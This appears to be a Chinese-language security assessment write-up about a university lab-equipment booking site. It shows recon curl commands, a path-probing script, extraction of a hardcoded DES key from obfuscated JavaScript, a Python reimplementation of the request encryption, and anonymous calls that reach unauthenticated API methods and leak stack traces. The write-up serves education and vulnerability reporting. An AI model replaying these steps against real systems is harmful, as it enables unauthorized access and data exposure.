侦察起点：这个站点是什么#

三个同域主机并行探活，只看响应头和标题：

1
for h in apply.example.edu.cn atcrs.example.edu.cn glxygzh.example.edu.cn; do
2
  curl -sk -m 15 -D - -o /dev/null "https://$h/"
3
  curl -sk -m 15 "https://$h/" | grep -oE '<title>[^<]*'
4
done

命中特征：

• Server: Microsoft-IIS/10.0
• 存在 X-AspNet-Version、ASP.NET_SessionId
• 标题指向「大型仪器共享 / 实验室设备预约收费平台」

Tips — 看到 IIS + ASP.NET 意味着什么

• .asmx 文件是 WebService 的入口。它不是网页，而是一个「方法路由器」：POST /xxx.asmx/方法名 就能直接调后端的一个函数，参数用 JSON 传。这种设计天然缺少统一鉴权层，鉴权往往散落在每个方法内部。
• ASP.NET_SessionId 是会话 Cookie。服务端用它把「这次请求」和「服务端内存里的一个会话对象」绑起来。只要 Cookie 不变，服务端就认为你是同一个人。
• 详细错误默认可能开着。ASP.NET 的 <customErrors mode="Off"> 一旦生效，任何异常都会把 .NET 的堆栈原样吐给客户端，包括类名、方法名、参数名。

目录探测：没有扫描器就自己写#

直接写了个按状态码 + 长度筛选的小脚本，stdlib 零依赖：

1
import urllib.request, ssl
2

3
ctx = ssl.create_default_context()
4
ctx.check_hostname = False
5
ctx.verify_mode = ssl.CERT_NONE
6

7
for p in ["/customer/index/index.html", "/customer/index/index2.html",
8
          "/en/student/login", "/index.aspx", "/default.aspx",
9
          "/webinterface.aspx", "/caslogin.aspx"]:
10
    try:
11
        r = urllib.request.urlopen(
12
            urllib.request.Request("https://atcrs.example.edu.cn" + p),
13
            timeout=12, context=ctx)
14
        b = r.read()
15
        print(f"{p:38s} {r.status} {len(b)}")
16
    except Exception as e:
17
        print(p, getattr(e, "code", e))

产出：

1
/customer/index/index.html   200  51489     <-- 首页（单页应用）
2
/en/student/login            200  16981

于是把基点锁定在 /customer/index/index2.html。

Tips — 一般目录扫描会用什么工具 见下一篇或者下下片文章吧。#

扒前端js代码#

打开首页，把页面引用的脚本全扒下来：

1
curl -sk "https://atcrs.example.edu.cn/customer/index/index2.html" -o js/index2.html
2
grep -oE 'src="[^"]+\.js[^"]*"' js/index2.html | sed 's/src="//;s/"//'
3

4
mkdir -p js && for f in base plug login menu index global WXS; do
5
  curl -sk "https://atcrs.example.edu.cn/Customer/js/$f.js" -o js/Customer_$f.js
6
done

拿到的东西全部无需登录即可下载：

• Customer_global.js（98 KB）
• Customer_index.js（193 KB）
• Customer_WXS.js（94 KB）
• Customer_login.js、Customer_menu.js …

Tips — 前端页面js的用处 服务端渲染的站点，前端只拿到拼好的 HTML，接口藏在表单 action 里，能看到的很有限。 但单页应用把「怎么调后端」这件事整个搬到了浏览器里：方法名、类名、参数结构、甚至加密密钥，全在 JS 里。浏览器能读，攻击者就能读——这不算漏洞，但它把「猜接口」变成了「搜文本」。 所以对 SPA 的第一反应不该是爆破目录，而是 grep 前端资源。#

1
grep -oE 'asmx/ashx/aspx' js/index2.html
2
grep -oE 'url:\s*"[^"]*"' js/Customer_index.js | head

1
url: "../../WebService/WebService.asmx/GetColumnLastTime"
2
url: "../../WebService/wxPublicInterface.asmx/IoControl"

1
grep -oiE 'deskey[^;]{0,120}' js/Customer_global.js
2
# -> deskey=_0x5e7d4d(-0x6f,-0x135,-0x2c,0x8,0x5c)

1
node -e "const vm=require('vm');
2
const code=require('fs').readFileSync('js/Customer_global.js','utf8');
3
const sb={
4
  CryptoJS:{enc:{Latin1:{parse:()=>({})},Utf8:{parse:()=>({})}},
5
            DES:{encrypt:()=>({}),decrypt:()=>({})},mode:{CBC:1},pad:{Pkcs7:1}},
6
  jQuery:{fn:{},extend(){},ajax(){}},
7
  localStorage:{getItem:()=>null},
8
  document:{getElementById:()=>({})},
9
  window:{},console
10
};
11
vm.createContext(sb);
12
vm.runInContext(code,sb,{timeout:5000});
13
console.log('deskey=',sb.deskey);"

1
deskey= 3111****

Tips — vm 沙箱去混淆为什么好用 混淆器（obfuscator.io 这类）做的事，是把常量拆成一堆数字，再用一个解密函数在运行时拼回来。它必须在运行时才能解密，因为浏览器要拿到真值。 那就干脆给它一个「假浏览器」：vm.createContext() 建一个干净的全局对象，代码在里面执行，require、document、CryptoJS 全部由我们自己伪造。它跑完，全局变量 deskey 上就是明文。 比逐行手推 _0x5e7d4d(-0x6f,-0x135,...) 快一百倍，也是逆向混淆 JS 的通用手法。#

加密信封：客户端加密为什么等于没加密#

前端这套逻辑想做的事是：「请求参数被 DES 加密了，所以中间人看不到、也改不了」。

加密方案：

• 算法：DES-CBC
• 密钥：3111****（8 字节）
• IV：与密钥相同
• 填充：PKCS7
• 编码：Base64

实际请求里的四个关键位置：

• wxAuthorization（请求头）：enc({"f":<方法名>,"c":<类名>})，决定后端分发到哪个类哪个方法
• DESJson（请求体）：enc(<业务入参 JSON>)
• Authorization（请求头）：一个固定常量（W****Key****，含厂商拼音，已打码）——看着像鉴权，实际只是客户端标识，改不改都一样
• uitoken（请求头）：由 GetUIToken 下发的令牌

等价实现（需要 pycryptodome）：

1
from Crypto.Cipher import DES
2
from Crypto.Util.Padding import pad, unpad
3
import base64, json
4

5
K = b"3111****"   # 已脱敏，实际为 8 位数字密钥
6

7
def enc(d):       # 加密信封
8
    raw = d if isinstance(d, str) else json.dumps(d)
9
    return base64.b64encode(
10
        DES.new(K, DES.MODE_CBC, K).encrypt(pad(raw.encode(), 8))
11
    ).decode()
12

13
def dec(s):       # 解密回包
14
    return unpad(DES.new(K, DES.MODE_CBC, K).decrypt(base64.b64decode(s)), 8).decode()

Tips — 为什么加密没有用 对称加密有一个铁律：密钥出现在哪一端，那一端就不设防。 这里的密钥写死在前端 JS 里，而 JS 是要发给浏览器的。于是：

• 攻击者读 JS → 拿到密钥 → 能解所有抓到的包（机密性归零）
• 攻击者拿到密钥 → 能造任意合法信封（完整性归零）
• IV 直接用密钥，等于把「随机性」也送掉了，相同明文永远得到相同密文，可以肉眼对比重放 客户端加密真正能防的只有「顺手看流量的路人」，防不住任何有浏览器的人。真正的防线只能是服务端鉴权，而不是「参数看起来是乱码」。

第一次撞墙：为什么我构造的请求全是 404#

拿着密钥手工构造 wxAuthorization，调业务方法，结果一律 404。

当时做了三步排除：

• 解码浏览器抓包（ws_pairs.json，15 组请求/响应原文）里的 wxAuthorization，确认自己的编码结果与浏览器逐字节一致 → 排除编码错误
• 整包重放浏览器原始请求（连 header 一起照搬）→ 仍然 404
• 但单独调 GetUIToken → 200，并下发 UIToken Cookie + ASP.NET_SessionId

第三步是转折点：同样的加密、同样的头，为什么只有 GetUIToken 能过？

结论是 IoControl 是两段式调用：

• 第一步：匿名调 GetUIToken（类 PublicInterface），换取 uitoken。服务器把它绑定到当前会话的 ASP.NET_SessionId
• 第二步：带着同一个会话 Cookie + uitoken 请求头，业务类方法才放行

验证脚本 session_call.py，运行输出：

1
warm cookies: []
2
GetUIToken: 200 ...token
3
[200] GetWebsiteVisits -> {"code":0,"FWCS":460083}
4
[200] GetNewsList -> {"code":"0","LASTTIME":"1670247663","LMBH":"39","data":[...]}
5
[200] GetUIIndexConfig -> {...}
6
checklogin -> {"ReturnFlag":"0","ReturnMsg":"当前登陆状态失效，请重新登陆！"}

这几行输出信息量很大，逐条拆：

warm cookies: [] + GetUIToken: 200
预热页面未下发任何 Cookie，说明调用时完全匿名、零凭据；服务器却签发了合法 token。本该「登录后才发」的令牌，匿名就能拿到——这是整条链的入场券。

GetWebsiteVisits -> {"code":0,"FWCS":460083}
多次调用时 FWCS（站点访问量）持续递增（459937 → 460080 → 460083），说明拿到的是真实业务回包，不是静态页或缓存。

GetNewsList 里的 LASTTIME / pzlasttime
这是增量同步的时间戳字段。攻击者带着上次的时间戳反复调用，就能持续增量拉取，泄露面随时间扩大，不是一次性快照。

GetUIIndexConfig 的字段
这是信息密度最高的一项：

• SchoolName：站点归属，确认目标身份
• xncs1 = CAS：认证方式为统一身份认证
• logoutURL：泄露统一认证服务器地址
• xnLogin / weixinlogin / LocalLogin 均为 1：校内 / 微信 / 本地登录全部开启
• SMSPWDConfig=1 / SMSVerificationConfig=0：短信改密开启、短信验证关闭
• logoImg：泄露内部上传目录 /UpLoadFile/NewsFile/
• Ver=13、UIURL：系统版本与站点根地址
• WZDB：URL 编码的页脚，解码后是开发商信息

checklogin 的返回值才是重点

它返回的不是 401/403，而是格式良好的业务 JSON：「当前登陆状态失效，请重新登陆！」。

Tips — 为什么「业务 JSON 里的未登录」比 401 危险 HTTP 401 / 403 的意思是：在门口就被拦住了，请求根本没进业务代码。 而这里的响应说明：请求已经穿过网关、穿过分发、进了业务方法，只是在业务逻辑内部发现「你没登录」，然后自己写了个 JSON 告诉你。 差别在于：

• 门口拦截 → 攻击面止于入口
• 进来才拦 → 每个方法的代码都跑了一部分，只要某个方法忘了判断登录态，就是未授权访问

手工复核：三个独立证据#

1
curl -sk -i -X POST \
2
  -H "Content-Type: application/json" \
3
  --data '{"DESJson":"x"}' \
4
  "https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"

1
{"d":"{\"code\":\"1\",\"msg\":\"error\"}"}

1
curl -sk -i -X POST \
2
  -H "Content-Type: application/json" \
3
  --data '{"json":"x"}' \
4
  "https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"

1
Web 服务调用无效，参数“DESJson”缺少值。
2
   在 System.Web.Script.Services.WebServiceMethodData.CallMethod(Object target, IDictionary`2 parameters)
3
   在 System.Web.Script.Services.WebServiceMethodData.CallMethodFromRawParams(Object target, IDictionary`2 parameters)
4
   在 System.Web.Script.Services.RestHandler.InvokeMethod(HttpContext context, WebServiceMethodData methodData, IDictionary`2 rawParams)
5
   在 System.Web.Script.Services.RestHandler.ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)

1
{'DESJson': 'x'}      200  {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}
2
{'DESJson': ''}       200  {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}
3
{'json': 'x'}         500  参数“DESJson”缺少值 + StackTrace
4
{'DeviceId': '1'}     500  参数“DESJson”缺少值 + StackTrace

1
for pg in passback otherusereg changepwd; do
2
  curl -sk -o /dev/null -w "%{http_code} %{size_download} $pg\n" \
3
    "https://atcrs.example.edu.cn/model/TwoGradePage/$pg.html"
4
done
5

6
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
7
  "https://atcrs.example.edu.cn/Customer/MasterPage/UserCenterPage.html"

1
model/TwoGradePage/passback.html         200   <-- 密码找回
2
model/TwoGradePage/otherusereg.html      200   <-- 他人税号登记
3
Customer/MasterPage/UserCenterPage.html  200   <-- 用户中心后台模板

Tips — 目录 403 ≠ 文件 403 IIS 的「目录浏览」是单独一个开关，关掉之后访问 /model/ 会返回 403，但这并不代表目录里的文件不可访问。 权限是在文件层面判的，目录只是少了个「列表页」。所以看到目录 403 就放弃，很容易漏掉真正的暴露面——正确做法是逐个具体文件名去试。#

1
[200] GetUIIndexConfig     PublicInterface   DATA
2
[200] checklogin           PublicInterface   DATA
3
[200] GetColumnList_UI     PublicInterface   DATA
4
[200] GetIndexDevBm        PublicInterface   DATA
5
[200] GetJKInfo            IndexInterface    DATA
6
[200] GetWebsiteVisits     IndexInterface    DATA
7
[200] GetNewsList          IndexInterface    DATA
8
[200] GetZDDevlist         IndexInterface    DATA
9
[200] GetDevlistByJZ       IndexInterface    DATA
10
[200] GetLinksList         IndexInterface    DATA
11
[200] GetKb / GetKCInfo / GetZDLablist / GetDevCategory /
12
      GetDevData / GetDevGZRQ / GetDevYuYueRank / GetMonthDevData /
13
      GetWebSite / GetHtJKInfo ...

1
[404] GetDevsOrderList / getUserInfo / GetKouFenList_UI /
2
      GetTeacherList / GetProList ...

这些数据能干什么#

1
{"ID":"1","YQLJBT":"XX大学官方网站","YQLJURL":"https://www.example.edu.cn/",
2
 "TJR":"adm***","CZR":"adm***", ...}

1
<!-- 方式1：账号 + 手机验证码 -->
2
<input id="account4" name="Account4" />  <input id="phonecode" name="phonecode" />
3
<input id="phonepassword1" name="phonepassword1" /> <input id="code1" name="code1" maxlength="4" />
4

5
<!-- 方式2：账号 + 邮箱 -->
6
<input id="account1" name="Account1" />  <input id="email" name="Email" />
7
<input id="captcha_0" name="Code" maxlength="4" />
8

9
<!-- 方式3：账号 + 密保问题 -->
10
<input id="account2" name="Account2" />  <input id="question" name="Question" />
11
<input id="answer" name="Answer" />      <input id="captcha_1" name="Code" maxlength="4" />
12

13
<!-- 方式4：直接改密 -->
14
<input id="account3" name="Account3" />  <input id="password1" name="Password1" />
15
<input id="password2" name="Password2" /> <input id="captcha_2" name="Code" maxlength="4" />

Tips — 为什么定级要跟着证据走 定级不是看接口名字有多吓人，而是看实际能造成什么后果。 IoControl 这个名字听起来能「控制设备」，但如果它只是个转发器、后端处理程序根本没部署，那么它的真实危害就只有两条：暴露了一个入口、泄露了堆栈。 一条好用的自检：「我实际拿到了什么？」 拿到别的用户数据了吗？拿到可执行的操作了吗？如果两个都是「没有」，那就别往高危写。#